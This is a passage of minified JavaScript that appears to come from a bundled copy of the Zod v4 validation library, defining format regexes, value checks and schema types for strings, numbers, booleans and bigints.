M6A={};_q(M6A,{xid:()=>Zg1,uuid7:()=>LK5,uuid6:()=>CK5,uuid4:()=>kK5,uuid:()=>j6A,uppercase:()=>gg1,unicodeEmail:()=>IK5,undefined:()=>Bg1,ulid:()=>Gg1,time:()=>Rg1,string:()=>Ig1,rfc5322Email:()=>yK5,number:()=>bg1,null:()=>ug1,nanoid:()=>Dg1,lowercase:()=>mg1,ksuid:()=>Wg1,ipv6:()=>Ng1,ipv4:()=>fg1,integer:()=>hg1,html5Email:()=>RK5,hostname:()=>kg1,guid:()=>Mg1,extendedDuration:()=>EK5,emoji:()=>Vg1,email:()=>Pg1,e164:()=>Cg1,duration:()=>jg1,domain:()=>bK5,datetime:()=>yg1,date:()=>Lg1,cuid2:()=>_g1,cuid:()=>$g1,cidrv6:()=>vg1,cidrv4:()=>Tg1,browserEmail:()=>SK5,boolean:()=>xg1,bigint:()=>Sg1,base64url:()=>_eA,base64:()=>Eg1,_emoji:()=>hK5});function Vg1(){return new RegExp("^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$","u")}function lC8(A){return typeof A.precision==="number"?A.precision===-1?"(?:[01]\\d|2[0-3]):[0-5]\\d":A.precision===0?"(?:[01]\\d|2[0-3]):[0-5]\\d:[0-5]\\d":`(?:[01]\\d|2[0-3]):[0-5]\\d:[0-5]\\d\\.\\d{${A.precision}}`:"(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?"}function Rg1(A){return new RegExp(`^${lC8(A)}$`)}function yg1(A){let K=lC8({precision:A.precision}),q=["Z"];if(A.local)q.push("");if(A.offset)q.push("([+-]\\d{2}:\\d{2})");let Y=`${K}(?:${q.join("|")})`;return new RegExp(`^${cC8}T(?:${Y})$`)}var $g1,_g1,Gg1,Zg1,Wg1,Dg1,jg1,EK5,Mg1,j6A=(A)=>{if(!A)return/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000)$/;return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${A}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`)},kK5,CK5,LK5,Pg1,RK5,yK5,IK5,SK5,hK5="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",fg1,Ng1,Tg1,vg1,Eg1,_eA,kg1,bK5,Cg1,cC8="(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))",Lg1,Ig1=(A)=>{let K=A?`[\\s\\S]{${A?.minimum??0},${A?.maximum??""}}`:"[\\s\\S]*";return new RegExp(`^${K}$`)},Sg1,hg1,bg1,xg1,ug1,Bg1,mg1,gg1;var GeA=k(()=>{$g1=/^[cC][^\s-]{8,}$/,_g1=/^[0-9a-z]+$/,Gg1=/^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/,Zg1=/^[0-9a-vA-V]{20}$/,Wg1=/^[A-Za-z0-9]{27}$/,Dg1=/^[a-zA-Z0-9_-]{21}$/,jg1=/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/,EK5=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,Mg1=/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/,kK5=j6A(4),CK5=j6A(6),LK5=j6A(7),Pg1=/^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/,RK5=/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/,yK5=/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/,IK5=/^[^\s@"]{1,64}@[^\s@]{1,255}$/u,SK5=/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;fg1=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,Ng1=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})$/,Tg1=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,vg1=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,Eg1=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,_eA=/^[A-Za-z0-9_-]*$/,kg1=/^([a-zA-Z0-9-]+\.)*[a-zA-Z0-9-]+$/,bK5=/^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/,Cg1=/^\+(?:[0-9]){6,14}[0-9]$/,Lg1=new RegExp(`^${cC8}$`);Sg1=/^\d+n?$/,hg1=/^\d+$/,bg1=/^-?\d+(?:\.\d+)?/i,xg1=/true|false/i,ug1=/null/i,Bg1=/undefined/i,mg1=/^[^A-Z]*$/,gg1=/^[^a-z]*$/});function iC8(A,K,q){if(A.issues.length)K.issues.push(...$V(q,A.issues))}var KO,nC8,ZeA,WeA,Fg1,Qg1,Ug1,pg1,dg1,cg1,lg1,ig1,ng1,FHA,rg1,og1,ag1,sg1,tg1,eg1,AF1,KF1,qF1;var DeA=k(()=>{xHA();GeA();Qq();KO=_6("$ZodCheck",(A,K)=>{var q;A._zod??(A._zod={}),A._zod.def=K,(q=A._zod).onattach??(q.onattach=[])}),nC8={number:"number",bigint:"bigint",object:"date"},ZeA=_6("$ZodCheckLessThan",(A,K)=>{KO.init(A,K);let q=nC8[typeof K.value];A._zod.onattach.push((Y)=>{let z=Y._zod.bag,w=(K.inclusive?z.maximum:z.exclusiveMaximum)??Number.POSITIVE_INFINITY;if(K.value<w)if(K.inclusive)z.maximum=K.value;else z.exclusiveMaximum=K.value}),A._zod.check=(Y)=>{if(K.inclusive?Y.value<=K.value:Y.value<K.value)return;Y.issues.push({origin:q,code:"too_big",maximum:K.value,input:Y.value,inclusive:K.inclusive,inst:A,continue:!K.abort})}}),WeA=_6("$ZodCheckGreaterThan",(A,K)=>{KO.init(A,K);let q=nC8[typeof K.value];A._zod.onattach.push((Y)=>{let z=Y._zod.bag,w=(K.inclusive?z.minimum:z.exclusiveMinimum)??Number.NEGATIVE_INFINITY;if(K.value>w)if(K.inclusive)z.minimum=K.value;else z.exclusiveMinimum=K.value}),A._zod.check=(Y)=>{if(K.inclusive?Y.value>=K.value:Y.value>K.value)return;Y.issues.push({origin:q,code:"too_small",minimum:K.value,input:Y.value,inclusive:K.inclusive,inst:A,continue:!K.abort})}}),Fg1=_6("$ZodCheckMultipleOf",(A,K)=>{KO.init(A,K),A._zod.onattach.push((q)=>{var Y;(Y=q._zod.bag).multipleOf??(Y.multipleOf=K.value)}),A._zod.check=(q)=>{if(typeof q.value!==typeof K.value)throw Error("Cannot mix number and bigint in multiple_of check.");if(typeof q.value==="bigint"?q.value%K.value===BigInt(0):em1(q.value,K.value)===0)return;q.issues.push({origin:typeof q.value,code:"not_multiple_of",divisor:K.value,input:q.value,inst:A,continue:!K.abort})}}),Qg1=_6("$ZodCheckNumberFormat",(A,K)=>{KO.init(A,K),K.format=K.format||"float64";let q=K.format?.includes("int"),Y=q?"int":"number",[z,w]=zg1[K.format];A._zod.onattach.push((H)=>{let J=H._zod.bag;if(J.format=K.format,J.minimum=z,J.maximum=w,q)J.pattern=hg1}),A._zod.check=(H)=>{let J=H.value;if(q){if(!Number.isInteger(J)){H.issues.push({expected:Y,format:K.format,code:"invalid_type",input:J,inst:A});return}if(!Number.isSafeInteger(J)){if(J>0)H.issues.push({input:J,code:"too_big",maximum:Number.MAX_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:A,origin:Y,continue:!K.abort});else H.issues.push({input:J,code:"too_small",minimum:Number.MIN_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:A,origin:Y,continue:!K.abort});return}}if(J<z)H.issues.push({origin:"number",input:J,code:"too_small",minimum:z,inclusive:!0,inst:A,continue:!K.abort});if(J>w)H.issues.push({origin:"number",input:J,code:"too_big",maximum:w,inst:A})}}),Ug1=_6("$ZodCheckBigIntFormat",(A,K)=>{KO.init(A,K);let[q,Y]=wg1[K.format];A._zod.onattach.push((z)=>{let w=z._zod.bag;w.format=K.format,w.minimum=q,w.maximum=Y}),A._zod.check=(z)=>{let w=z.value;if(w<q)z.issues.push({origin:"bigint",input:w,code:"too_small",minimum:q,inclusive:!0,inst:A,continue:!K.abort});if(w>Y)z.issues.push({origin:"bigint",input:w,code:"too_big",maximum:Y,inst:A})}}),pg1=_6("$ZodCheckMaxSize",(A,K)=>{KO.init(A,K),A._zod.when=(q)=>{let Y=q.value;return!Ti(Y)&&Y.size!==void 0},A._zod.onattach.push((q)=>{let Y=q._zod.bag.maximum??Number.POSITIVE_INFINITY;if(K.maximum<Y)q._zod.bag.maximum=K.maximum}),A._zod.check=(q)=>{let Y=q.value;if(Y.size<=K.maximum)return;q.issues.push({origin:HEA(Y),code:"too_big",maximum:K.maximum,input:Y,inst:A,continue:!K.abort})}}),dg1=_6("$ZodCheckMinSize",(A,K)=>{KO.init(A,K),A._zod.when=(q)=>{let Y=q.value;return!Ti(Y)&&Y.size!==void 0},A._zod.onattach.push((q)=>{let Y=q._zod.bag.minimum??Number.NEGATIVE_INFINITY;if(K.minimum>Y)q._zod.bag.minimum=K.minimum}),A._zod.check=(q)=>{let Y=q.value;if(Y.size>=K.minimum)return;q.issues.push({origin:HEA(Y),code:"too_small",minimum:K.minimum,input:Y,inst:A,continue:!K.abort})}}),cg1=_6("$ZodCheckSizeEquals",(A,K)=>{KO.init(A,K),A._zod.when=(q)=>{let Y=q.value;return!Ti(Y)&&Y.size!==void 0},A._zod.onattach.push((q)=>{let Y=q._zod.bag;Y.minimum=K.size,Y.maximum=K.size,Y.size=K.size}),A._zod.check=(q)=>{let Y=q.value,z=Y.size;if(z===K.size)return;let w=z>K.size;q.issues.push({origin:HEA(Y),...w?{code:"too_big",maximum:K.size}:{code:"too_small",minimum:K.size},inclusive:!0,exact:!0,input:q.value,inst:A,continue:!K.abort})}}),lg1=_6("$ZodCheckMaxLength",(A,K)=>{KO.init(A,K),A._zod.when=(q)=>{let Y=q.value;return!Ti(Y)&&Y.length!==void 0},A._zod.onattach.push((q)=>{let Y=q._zod.bag.maximum??Number.POSITIVE_INFINITY;if(K.maximum<Y)q._zod.bag.maximum=K.maximum}),A._zod.check=(q)=>{let Y=q.value;if(Y.length<=K.maximum)return;let w=JEA(Y);q.issues.push({origin:w,code:"too_big",maximum:K.maximum,inclusive:!0,input:Y,inst:A,continue:!K.abort})}}),ig1=_6("$ZodCheckMinLength",(A,K)=>{KO.init(A,K),A._zod.when=(q)=>{let Y=q.value;return!Ti(Y)&&Y.length!==void 0},A._zod.onattach.push((q)=>{let Y=q._zod.bag.minimum??Number.NEGATIVE_INFINITY;if(K.minimum>Y)q._zod.bag.minimum=K.minimum}),A._zod.check=(q)=>{let Y=q.value;if(Y.length>=K.minimum)return;let w=JEA(Y);q.issues.push({origin:w,code:"too_small",minimum:K.minimum,inclusive:!0,input:Y,inst:A,continue:!K.abort})}}),ng1=_6("$ZodCheckLengthEquals",(A,K)=>{KO.init(A,K),A._zod.when=(q)=>{let Y=q.value;return!Ti(Y)&&Y.length!==void 0},A._zod.onattach.push((q)=>{let Y=q._zod.bag;Y.minimum=K.length,Y.maximum=K.length,Y.length=K.length}),A._zod.check=(q)=>{let Y=q.value,z=Y.length;if(z===K.length)return;let w=JEA(Y),H=z>K.length;q.issues.push({origin:w,...H?{code:"too_big",maximum:K.length}:{code:"too_small",minimum:K.length},inclusive:!0,exact:!0,input:q.value,inst:A,continue:!K.abort})}}),FHA=_6("$ZodCheckStringFormat",(A,K)=>{var q,Y;if(KO.init(A,K),A._zod.onattach.push((z)=>{let w=z._zod.bag;if(w.format=K.format,K.pattern)w.patterns??(w.patterns=new Set),w.patterns.add(K.pattern)}),K.pattern)(q=A._zod).check??(q.check=(z)=>{if(K.pattern.lastIndex=0,K.pattern.test(z.value))return;z.issues.push({origin:"string",code:"invalid_format",format:K.format,input:z.value,...K.pattern?{pattern:K.pattern.toString()}:{},inst:A,continue:!K.abort})});else(Y=A._zod).check??(Y.check=()=>{})}),rg1=_6("$ZodCheckRegex",(A,K)=>{FHA.init(A,K),A._zod.check=(q)=>{if(K.pattern.lastIndex=0,K.pattern.test(q.value))return;q.issues.push({origin:"string",code:"invalid_format",format:"regex",input:q.value,pattern:K.pattern.toString(),inst:A,continue:!K.abort})}}),og1=_6("$ZodCheckLowerCase",(A,K)=>{K.pattern??(K.pattern=mg1),FHA.init(A,K)}),ag1=_6("$ZodCheckUpperCase",(A,K)=>{K.pattern??(K.pattern=gg1),FHA.init(A,K)}),sg1=_6("$ZodCheckIncludes",(A,K)=>{KO.init(A,K);let q=ZF(K.includes),Y=new RegExp(typeof K.position==="number"?`^.{${K.position}}${q}`:q);K.pattern=Y,A._zod.onattach.push((z)=>{let w=z._zod.bag;w.patterns??(w.patterns=new Set),w.patterns.add(Y)}),A._zod.check=(z)=>{if(z.value.includes(K.includes,K.position))return;z.issues.push({origin:"string",code:"invalid_format",format:"includes",includes:K.includes,input:z.value,inst:A,continue:!K.abort})}}),tg1=_6("$ZodCheckStartsWith",(A,K)=>{KO.init(A,K);let q=new RegExp(`^${ZF(K.prefix)}.*`);K.pattern??(K.pattern=q),A._zod.onattach.push((Y)=>{let z=Y._zod.bag;z.patterns??(z.patterns=new Set),z.patterns.add(q)}),A._zod.check=(Y)=>{if(Y.value.startsWith(K.prefix))return;Y.issues.push({origin:"string",code:"invalid_format",format:"starts_with",prefix:K.prefix,input:Y.value,inst:A,continue:!K.abort})}}),eg1=_6("$ZodCheckEndsWith",(A,K)=>{KO.init(A,K);let q=new RegExp(`.*${ZF(K.suffix)}$`);K.pattern??(K.pattern=q),A._zod.onattach.push((Y)=>{let z=Y._zod.bag;z.patterns??(z.patterns=new Set),z.patterns.add(q)}),A._zod.check=(Y)=>{if(Y.value.endsWith(K.suffix))return;Y.issues.push({origin:"string",code:"invalid_format",format:"ends_with",suffix:K.suffix,input:Y.value,inst:A,continue:!K.abort})}});AF1=_6("$ZodCheckProperty",(A,K)=>{KO.init(A,K),A._zod.check=(q)=>{let Y=K.schema._zod.run({value:q.value[K.property],issues:[]},{});if(Y instanceof Promise)return Y.then((z)=>iC8(z,q,K.property));iC8(Y,q,K.property);return}}),KF1=_6("$ZodCheckMimeType",(A,K)=>{KO.init(A,K);let q=new Set(K.mime);A._zod.onattach.push((Y)=>{Y._zod.bag.mime=K.mime}),A._zod.check=(Y)=>{if(q.has(Y.value.type))return;Y.issues.push({code:"invalid_value",values:K.mime,input:Y.value.type,inst:A})}}),qF1=_6("$ZodCheckOverwrite",(A,K)=>{KO.init(A,K),A._zod.check=(q)=>{q.value=K.tx(q.value)}})});class jeA{constructor(A=[]){if(this.content=[],this.indent=0,this)this.args=A}indented(A){this.indent+=1,A(this),this.indent-=1}write(A){if(typeof A==="function"){A(this,{execution:"sync"}),A(this,{execution:"async"});return}let q=A.split(` `).filter((w)=>w),Y=Math.min(...q.map((w)=>w.length-w.trimStart().length)),z=q.map((w)=>w.slice(Y)).map((w)=>" ".repeat(this.indent*2)+w);for(let w of z)this.content.push(w)}compile(){let A=Function,K=this?.args,Y=[...(this?.content??[""]).map((z)=>` ${z}`)];return new A(...K,Y.join(` `))}}var YF1;var zF1=k(()=>{YF1={major:4,minor:0,patch:0}});function kF1(A){if(A==="")return!0;if(A.length%4!==0)return!1;try{return atob(A),!0}catch{return!1}}function HL8(A){if(!_eA.test(A))return!1;let K=A.replace(/[-_]/g,(Y)=>Y==="-"?"+":"/"),q=K.padEnd(Math.ceil(K.length/4)*4,"=");return kF1(q)}function JL8(A,K=null){try{let q=A.split(".");if(q.length!==3)return!1;let[Y]=q;if(!Y)return!1;let z=JSON.parse(atob(Y));if("typ"in z&&z?.typ!=="JWT")return!1;if(!z.alg)return!1;if(K&&(!("alg"in z)||z.alg!==K))return!1;return!0}catch{return!1}}function oC8(A,K,q){if(A.issues.length)K.issues.push(...$V(q,A.issues));K.value[q]=A.value}function MeA(A,K,q){if(A.issues.length)K.issues.push(...$V(q,A.issues));K.value[q]=A.value}function aC8(A,K,q,Y){if(A.issues.length)if(Y[q]===void 0)if(q in Y)K.value[q]=void 0;else K.value[q]=A.value;else K.issues.push(...$V(q,A.issues));else if(A.value===void 0){if(q in Y)K.value[q]=void 0}else K.value[q]=A.value}function sC8(A,K,q,Y){for(let z of A)if(z.issues.length===0)return K.value=z.value,K;return K.issues.push({code:"invalid_union",input:K.value,inst:q,errors:A.map((z)=>z.issues.map((w)=>nN(w,Y,UX())))}),K}function wF1(A,K){if(A===K)return{valid:!0,data:A};if(A instanceof Date&&K instanceof Date&&+A===+K)return{valid:!0,data:A};if(BHA(A)&&BHA(K)){let q=Object.keys(K),Y=Object.keys(A).filter((w)=>q.indexOf(w)!==-1),z={...A,...K};for(let w of Y){let H=wF1(A[w],K[w]);if(!H.valid)return{valid:!1,mergeErrorPath:[w,...H.mergeErrorPath]};z[w]=H.data}return{valid:!0,data:z}}if(Array.isArray(A)&&Array.isArray(K)){if(A.length!==K.length)return{valid:!1,mergeErrorPath:[]};let q=[];for(let Y=0;Y<A.length;Y++){let z=A[Y],w=K[Y],H=wF1(z,w);if(!H.valid)return{valid:!1,mergeErrorPath:[Y,...H.mergeErrorPath]};q.push(H.data)}return{valid:!0,data:q}}return{valid:!1,mergeErrorPath:[]}}function tC8(A,K,q){if(K.issues.length)A.issues.push(...K.issues);if(q.issues.length)A.issues.push(...q.issues);if(D6A(A))return A;let Y=wF1(K.value,q.value);if(!Y.valid)throw Error(`Unmergable intersection. Error path: ${JSON.stringify(Y.mergeErrorPath)}`);return A.value=Y.data,A}function PeA(A,K,q){if(A.issues.length)K.issues.push(...$V(q,A.issues));K.value[q]=A.value}function eC8(A,K,q,Y,z,w,H){if(A.issues.length)if(wEA.has(typeof Y))q.issues.push(...$V(Y,A.issues));else q.issues.push({origin:"map",code:"invalid_key",input:z,inst:w,issues:A.issues.map((J)=>nN(J,H,UX()))});if(K.issues.length)if(wEA.has(typeof Y))q.issues.push(...$V(Y,K.issues));else q.issues.push({origin:"map",code:"invalid_element",input:z,inst:w,key:Y,issues:K.issues.map((J)=>nN(J,H,UX()))});q.value.set(A.value,K.value)}function AL8(A,K){if(A.issues.length)K.issues.push(...A.issues);K.value.add(A.value)}function KL8(A,K){if(A.value===void 0)A.value=K.defaultValue;return A}function qL8(A,K){if(!A.issues.length&&A.value===void 0)A.issues.push({code:"invalid_type",expected:"nonoptional",input:A.value,inst:K});return A}function YL8(A,K,q){if(D6A(A))return A;return K.out._zod.run({value:A.value,issues:A.issues},q)}function zL8(A){return A.value=Object.freeze(A.value),A}function wL8(A,K,q,Y){if(!A){let z={code:"custom",input:q,inst:Y,path:[...Y._zod.def.path??[]],continue:!Y._zod.def.abort};if(Y._zod.def.params)z.params=Y._zod.def.params;K.issues.push(Hg1(z))}}var O5,P6A,Gw,HF1,JF1,OF1,XF1,$F1,_F1,GF1,ZF1,WF1,DF1,jF1,MF1,PF1,VF1,fF1,NF1,TF1,vF1,EF1,CF1,LF1,RF1,yF1,IF1,VeA,SF1,WEA,feA,hF1,bF1,xF1,uF1,BF1,QHA,mF1,gF1,FF1,DEA,QF1,NeA,UF1,pF1,V6A,dF1,cF1,lF1,iF1,nF1,rF1,jEA,oF1,aF1,sF1,tF1,eF1,AQ1,KQ1,qQ1,MEA,YQ1,zQ1,wQ1,HQ1,JQ1;var PEA=k(()=>{DeA();xHA();$eA();GeA();Qq();zF1();Qq();O5=_6("$ZodType",(A,K)=>{var q;A??(A={}),A._zod.def=K,A._zod.bag=A._zod.bag||{},A._zod.version=YF1;let Y=[...A._zod.def.checks??[]];if(A._zod.traits.has("$ZodCheck"))Y.unshift(A);for(let z of Y)for(let w of z._zod.onattach)w(A);if(Y.length===0)(q=A._zod).deferred??(q.deferred=[]),A._zod.deferred?.push(()=>{A._zod.run=A._zod.parse});else{let z=(w,H,J)=>{let O=D6A(w),X;for(let $ of H){if($._zod.when){if(!$._zod.when(w))continue}else if(O)continue;let _=w.issues.length,G=$._zod.check(w);if(G instanceof Promise&&J?.async===!1)throw new GF;if(X||G instanceof Promise)X=(X??Promise.resolve()).then(async()=>{if(await G,w.issues.length===_)return;if(!O)O=D6A(w,_)});else{if(w.issues.length===_)continue;if(!O)O=D6A(w,_)}}if(X)return X.then(()=>{return w});return w};A._zod.run=(w,H)=>{let J=A._zod.parse(w,H);if(J instanceof Promise){if(H.async===!1)throw new GF;return J.then((O)=>z(O,Y,H))}return z(J,Y,H)}}A["~standard"]={validate:(z)=>{try{let w=gHA(A,z);return w.success?{value:w.data}:{issues:w.error?.issues}}catch(w){return ZEA(A,z).then((H)=>H.success?{value:H.data}:{issues:H.error?.issues})}},vendor:"zod",version:1}}),P6A=_6("$ZodString",(A,K)=>{O5.init(A,K),A._zod.pattern=[...A?._zod.bag?.patterns??[]].pop()??Ig1(A._zod.bag),A._zod.parse=(q,Y)=>{if(K.coerce)try{q.value=String(q.value)}catch(z){}if(typeof q.value==="string")return q;return q.issues.push({expected:"string",code:"invalid_type",input:q.value,inst:A}),q}}),Gw=_6("$ZodStringFormat",(A,K)=>{FHA.init(A,K),P6A.init(A,K)}),HF1=_6("$ZodGUID",(A,K)=>{K.pattern??(K.pattern=Mg1),Gw.init(A,K)}),JF1=_6("$ZodUUID",(A,K)=>{if(K.version){let Y={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[K.version];if(Y===void 0)throw Error(`Invalid UUID version: "${K.version}"`);K.pattern??(K.pattern=j6A(Y))}else K.pattern??(K.pattern=j6A());Gw.init(A,K)}),OF1=_6("$ZodEmail",(A,K)=>{K.pattern??(K.pattern=Pg1),Gw.init(A,K)}),XF1=_6("$ZodURL",(A,K)=>{Gw.init(A,K),A._zod.check=(q)=>{try{let Y=q.value,z=new URL(Y),w=z.href;if(K.hostname){if(K.hostname.lastIndex=0,!K.hostname.test(z.hostname))q.issues.push({code:"invalid_format",format:"url",note:"Invalid hostname",pattern:kg1.source,input:q.value,inst:A,continue:!K.abort})}if(K.protocol){if(K.protocol.lastIndex=0,!K.protocol.test(z.protocol.endsWith(":")?z.protocol.slice(0,-1):z.protocol))q.issues.push({code:"invalid_format",format:"url",note:"Invalid protocol",pattern:K.protocol.source,input:q.value,inst:A,continue:!K.abort})}if(!Y.endsWith("/")&&w.endsWith("/"))q.value=w.slice(0,-1);else q.value=w;return}catch(Y){q.issues.push({code:"invalid_format",format:"url",input:q.value,inst:A,continue:!K.abort})}}}),$F1=_6("$ZodEmoji",(A,K)=>{K.pattern??(K.pattern=Vg1()),Gw.init(A,K)}),_F1=_6("$ZodNanoID",(A,K)=>{K.pattern??(K.pattern=Dg1),Gw.init(A,K)}),GF1=_6("$ZodCUID",(A,K)=>{K.pattern??(K.pattern=$g1),Gw.init(A,K)}),ZF1=_6("$ZodCUID2",(A,K)=>{K.pattern??(K.pattern=_g1),Gw.init(A,K)}),WF1=_6("$ZodULID",(A,K)=>{K.pattern??(K.pattern=Gg1),Gw.init(A,K)}),DF1=_6("$ZodXID",(A,K)=>{K.pattern??(K.pattern=Zg1),Gw.init(A,K)}),jF1=_6("$ZodKSUID",(A,K)=>{K.pattern??(K.pattern=Wg1),Gw.init(A,K)}),MF1=_6("$ZodISODateTime",(A,K)=>{K.pattern??(K.pattern=yg1(K)),Gw.init(A,K)}),PF1=_6("$ZodISODate",(A,K)=>{K.pattern??(K.pattern=Lg1),Gw.init(A,K)}),VF1=_6("$ZodISOTime",(A,K)=>{K.pattern??(K.pattern=Rg1(K)),Gw.init(A,K)}),fF1=_6("$ZodISODuration",(A,K)=>{K.pattern??(K.pattern=jg1),Gw.init(A,K)}),NF1=_6("$ZodIPv4",(A,K)=>{K.pattern??(K.pattern=fg1),Gw.init(A,K),A._zod.onattach.push((q)=>{let Y=q._zod.bag;Y.format="ipv4"})}),TF1=_6("$ZodIPv6",(A,K)=>{K.pattern??(K.pattern=Ng1),Gw.init(A,K),A._zod.onattach.push((q)=>{let Y=q._zod.bag;Y.format="ipv6"}),A._zod.check=(q)=>{try{new URL(`http://[${q.value}]`)}catch{q.issues.push({code:"invalid_format",format:"ipv6",input:q.value,inst:A,continue:!K.abort})}}}),vF1=_6("$ZodCIDRv4",(A,K)=>{K.pattern??(K.pattern=Tg1),Gw.init(A,K)}),EF1=_6("$ZodCIDRv6",(A,K)=>{K.pattern??(K.pattern=vg1),Gw.init(A,K),A._zod.check=(q)=>{let[Y,z]=q.value.split("/");try{if(!z)throw Error();let w=Number(z);if(`${w}`!==z)throw Error();if(w<0||w>128)throw Error();new URL(`http://[${Y}]`)}catch{q.issues.push({code:"invalid_format",format:"cidrv6",input:q.value,inst:A,continue:!K.abort})}}});CF1=_6("$ZodBase64",(A,K)=>{K.pattern??(K.pattern=Eg1),Gw.init(A,K),A._zod.onattach.push((q)=>{q._zod.bag.contentEncoding="base64"}),A._zod.check=(q)=>{if(kF1(q.value))return;q.issues.push({code:"invalid_format",format:"base64",input:q.value,inst:A,continue:!K.abort})}});LF1=_6("$ZodBase64URL",(A,K)=>{K.pattern??(K.pattern=_eA),Gw.init(A,K),A._zod.onattach.push((q)=>{q._zod.bag.contentEncoding="base64url"}),A._zod.check=(q)=>{if(HL8(q.value))return;q.issues.push({code:"invalid_format",format:"base64url",input:q.value,inst:A,continue:!K.abort})}}),RF1=_6("$ZodE164",(A,K)=>{K.pattern??(K.pattern=Cg1),Gw.init(A,K)});yF1=_6("$ZodJWT",(A,K)=>{Gw.init(A,K),A._zod.check=(q)=>{if(JL8(q.value,K.alg))return;q.issues.push({code:"invalid_format",format:"jwt",input:q.value,inst:A,continue:!K.abort})}}),IF1=_6("$ZodCustomStringFormat",(A,K)=>{Gw.init(A,K),A._zod.check=(q)=>{if(K.fn(q.value))return;q.issues.push({code:"invalid_format",format:K.format,input:q.value,inst:A,continue:!K.abort})}}),VeA=_6("$ZodNumber",(A,K)=>{O5.init(A,K),A._zod.pattern=A._zod.bag.pattern??bg1,A._zod.parse=(q,Y)=>{if(K.coerce)try{q.value=Number(q.value)}catch(H){}let z=q.value;if(typeof z==="number"&&!Number.isNaN(z)&&Number.isFinite(z))return q;let w=typeof z==="number"?Number.isNaN(z)?"NaN":!Number.isFinite(z)?"Infinity":void 0:void 0;return q.issues.push({expected:"number",code:"invalid_type",input:z,inst:A,...w?{received:w}:{}}),q}}),SF1=_6("$ZodNumber",(A,K)=>{Qg1.init(A,K),VeA.init(A,K)}),WEA=_6("$ZodBoolean",(A,K)=>{O5.init(A,K),A._zod.pattern=xg1,A._zod.parse=(q,Y)=>{if(K.coerce)try{q.value=Boolean(q.value)}catch(w){}let z=q.value;if(typeof z==="boolean")return q;return q.issues.push({expected:"boolean",code:"invalid_type",input:z,inst:A}),q}}),feA=_6("$ZodBigInt",(A,K)=>{O5.init(A,K),A._zod.pattern=Sg1,A._zod.parse=(q,Y)=>{if(K.coerce)try{q.value=BigInt(q.value)}catch(z){}if(typeof q.value==="bigint")return q;return q.issues.push({expected:"bigint",code:"invalid_type",input:q.value,inst:A}),q}}),hF1=_6("$ZodBigInt",(A,K)=>{Ug1.init(A,K),feA.init(A,K)}),bF1=_6("$ZodSymbol",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value;if(typeof z==="symbol")return q;return 